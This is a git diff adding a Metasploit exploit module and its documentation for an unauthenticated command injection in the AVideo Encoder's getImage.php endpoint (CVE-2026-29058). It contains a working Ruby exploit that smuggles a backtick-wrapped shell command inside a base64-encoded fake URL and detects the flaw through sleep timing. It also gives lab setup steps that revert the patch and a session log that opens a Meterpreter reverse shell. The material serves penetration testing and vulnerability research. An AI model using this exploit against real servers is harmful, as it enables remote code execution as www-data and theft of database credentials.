diff --git a/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md b/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md new file mode 100644 index 0000000000..2db409e4eb --- /dev/null +++ b/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md @@ -0,0 +1,171 @@ +## Vulnerable Application + +This module exploits an unauthenticated OS command injection vulnerability in AVideo +Encoder's `getImage.php` endpoint. + +**CVE ID:** CVE-2026-29058 + +**Affected Versions:** AVideo Encoder before version 7.0 (commit 78178d1) + +### Vulnerability Overview + +The `getImage.php` endpoint accepts a `base64Url` GET parameter which is base64-decoded and +passed through PHP's `FILTER_VALIDATE_URL`. The validated URL is then interpolated directly +into an ffmpeg shell command within double quotes, without any use of `escapeshellarg()` or +metacharacter filtering. + +PHP's `FILTER_VALIDATE_URL` does not block shell metacharacters such as backticks or `$()` +in the URL path component. A crafted URL like `http://x/$(cmd)` passes validation and gets +interpolated into: + +``` +ffmpeg -i "http://x/$(cmd)" -f image2 ... +``` + +This results in arbitrary command execution as `www-data`. The Encoder code is served by the +main AVideo Apache container (mounted at `/Encoder`), so exploitation gives access to the +main application context including database credentials and configuration. + +Fixed in AVideo Encoder version 7.0 (commit `78178d1`) which added `escapeshellarg()` and +shell metacharacter stripping. + +### Setup + +This lab reuses the same AVideo Docker environment as the `avideo_notify_ffmpeg_unauth_rce` +module, with one additional step: reverting the Encoder to the pre-patch (vulnerable) +version. + +1. Clone the AVideo repository and checkout the vulnerable commit: + +```bash +cd /tmp +git clone https://github.com/WWBN/AVideo.git +cd AVideo +git checkout 596df4e5b0597c9806da76ebec5bbe3b305953e4 +``` + +2. Create a `.env` file with the following configuration: + +```bash +cat > .env << EOF +SERVER_NAME=localhost +CREATE_TLS_CERTIFICATE=yes +DB_MYSQL_HOST=database +DB_MYSQL_PORT=3306 +DB_MYSQL_NAME=avideo +DB_MYSQL_USER=avideo +DB_MYSQL_PASSWORD=avideo +HTTP_PORT=80 +HTTPS_PORT=9443 +NETWORK_SUBNET=172.99.0.0/16 +EOF +``` + +3. Fix MariaDB corrupted tc.log issue (required for first-time setup): + +```bash +cat > deploy/docker-entrypoint-mariadb << 'SCRIPTEOF' +#!/bin/bash +set -e + +if [ -f /var/lib/mysql/tc.log ]; then + MAGIC_HEADER=$(head -c 4 /var/lib/mysql/tc.log | od -An -tx1 | tr -d ' \n' 2>/dev/null || echo "") + if [ "$MAGIC_HEADER" != "01000000" ] && [ -n "$MAGIC_HEADER" ]; then + echo "[Entrypoint]: Removing corrupted tc.log file (bad magic header: $MAGIC_HEADER)" + rm -f /var/lib/mysql/tc.log + fi +fi +SCRIPTEOF +chmod +x deploy/docker-entrypoint-mariadb + +cat >> Dockerfile.mariadb << 'DOCKERFILEEOF' + +COPY deploy/docker-entrypoint-mariadb /usr/local/bin/docker-entrypoint-mariadb +RUN chmod +x /usr/local/bin/docker-entrypoint-mariadb +RUN sed -i '2i /usr/local/bin/docker-entrypoint-mariadb' /usr/local/bin/docker-entrypoint.sh +DOCKERFILEEOF + +docker compose build database database_encoder +``` + +4. Start the Docker Compose environment: + +```bash +docker compose up -d +``` + +5. Wait for the `avideo` container to finish its entrypoint (this takes 1-2 minutes). +The entrypoint clones the Encoder repo into `.compose/encoder` and runs the database +installer. However, the Docker image ships with a pre-existing `configuration.php`, so +the CLI installer skips table creation. Fix the database permissions and initialize the +tables manually: + +```bash +docker exec avideo-database-1 chown -R mysql:mysql /var/lib/mysql/ + +docker exec avideo-avideo-1 bash -c " + mv /var/www/html/AVideo/videos/configuration.php /var/www/html/AVideo/videos/configuration.php.bak + cd /var/www/html/AVideo/install && php cli.php + mv /var/www/html/AVideo/videos/configuration.php.bak /var/www/html/AVideo/videos/configuration.php +" +``` + +Verify that `http://localhost` returns the AVideo interface before proceeding. + +6. Revert the Encoder to the pre-patch (vulnerable) version. +The `.compose/encoder` directory is a git clone of +[WWBN/AVideo-Encoder](https://github.com/WWBN/AVideo-Encoder), created automatically +by the container entrypoint. The security fix in commit `78178d1` patched multiple files +(not just `getImage.php`), so the entire working tree must be reverted: + +```bash +docker exec avideo-avideo-1 bash -c " + git config --global --add safe.directory /var/www/html/AVideo/Encoder + cd /var/www/html/AVideo/Encoder && git checkout 78178d1~1 -- . +" +docker compose restart avideo +``` + +After this step, the `/Encoder/objects/getImage.php` endpoint is vulnerable to command +injection via the `base64Url` parameter. + +## Verification Steps + +1. Start `msfconsole` +2. `use exploit/linux/http/avideo_encoder_getimage_cmd_injection` +3. `set RHOSTS ` +4. `set RPORT ` (default: 80) +5. `set LHOST ` (for reverse connection) +6. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp` +7. `set FETCH_SRVPORT ` (if default 8080 is taken) +8. `exploit` +9. **Verify** that you get a Meterpreter session + +## Options + +This module has no non-default options. + +## Scenarios + +### Meterpreter via fetch payload (cmd/linux/http/x64/meterpreter/reverse_tcp) + +This scenario demonstrates exploitation against AVideo with a vulnerable Encoder, using a +fetch payload to deliver a Meterpreter binary: + +``` +msf exploit(linux/http/avideo_encoder_getimage_cmd_injection) > set RHOSTS localhost +RHOSTS => localhost +msf exploit(linux/http/avideo_encoder_getimage_cmd_injection) > set RPORT 80 +RPORT => 80 +msf exploit(linux/http/avideo_encoder_getimage_cmd_injection) > set LHOST 172.99.0.1 +LHOST => 172.99.0.1 +msf exploit(linux/http/avideo_encoder_getimage_cmd_injection) > exploit +[*] Started reverse TCP handler on 172.99.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Command injection confirmed via sleep timing (3/3 checks passed) +[*] Sending command injection via getImage.php... +[*] Sending stage (3090404 bytes) to 172.99.0.7 +[*] Meterpreter session 1 opened (172.99.0.1:4444 -> 172.99.0.7:46970) at 2026-03-06 21:26:32 +0100 + +meterpreter > +``` diff --git a/modules/exploits/linux/http/avideo_encoder_getimage_cmd_injection.rb b/modules/exploits/linux/http/avideo_encoder_getimage_cmd_injection.rb new file mode 100644 index 0000000000..e2bff788e0 --- /dev/null +++ b/modules/exploits/linux/http/avideo_encoder_getimage_cmd_injection.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'AVideo Encoder getImage.php Unauthenticated Command Injection', + 'Description' => %q{ + This module exploits an unauthenticated OS command injection vulnerability + in AVideo Encoder's getImage.php endpoint (CVE-2026-29058). + + The base64Url GET parameter is base64-decoded and injected directly into an + ffmpeg shell command within double quotes, without any sanitization or use of + escapeshellarg(). PHP's FILTER_VALIDATE_URL check does not block shell + metacharacters such as $() in the URL path, allowing command substitution. + + A crafted URL like http://x/$(cmd) passes FILTER_VALIDATE_URL and is interpolated + into: ffmpeg -i "{$url}" ... resulting in arbitrary command execution as www-data. + + The Encoder code is served by the main AVideo Apache container (mounted at + /Encoder), so exploitation gives access to the main application context including + database credentials and configuration. + + Fixed in AVideo Encoder version 7.0 (commit 78178d1) which added escapeshellarg() + and shell metacharacter stripping. + }, + 'Author' => [ + 'arkmarta', # Vulnerability discovery -- props to you man + 'Valentin Lobstein ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2026-29058'], + ['GHSA', '9j26-99jh-v26q', 'WWBN/AVideo-Encoder'] + ], + 'Privileged' => false, + 'Targets' => [ + [ + 'Unix/Linux Command Shell', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD, + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + 'DefaultOptions' => { + 'ENCODER' => 'generic/none', + 'FETCH_WRITABLE_DIR' => '/tmp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2026-03-05', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'The base path to AVideo', '/']) + ]) + end + + def check + res = send_getimage('true') + return CheckCode::Unknown('Failed to connect to the target.') unless res + return CheckCode::Safe("getImage.php returned HTTP #{res.code}") unless res.code == 200 + + hits = 0 + + 3.times do |i| + sleep_time = rand(1..3) + vprint_status("Sleep check attempt #{i + 1}/3 (#{sleep_time}s)...") + _, elapsed = Rex::Stopwatch.elapsed_time do + send_getimage("sleep${IFS}#{sleep_time}") + end + + next unless elapsed >= (sleep_time - 0.5) + + vprint_good("Attempt #{i + 1}: #{elapsed.round(1)}s elapsed") + hits += 1 + end + + return CheckCode::Vulnerable("Command injection confirmed via sleep timing (#{hits}/3 checks passed)") if hits >= 2 + + CheckCode::Safe('getImage.php is accessible but command injection did not trigger') + end + + def exploit + print_status('Sending command injection via getImage.php...') + send_getimage(payload.encoded.gsub(' ', '${IFS}')) + end + + def send_getimage(cmd) + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'Encoder', 'objects', 'getImage.php'), + 'method' => 'GET', + 'vars_get' => { 'base64Url' => Rex::Text.encode_base64("#{Faker::Internet.url}/`#{cmd}`"), 'format' => 'png' } + }) + end +end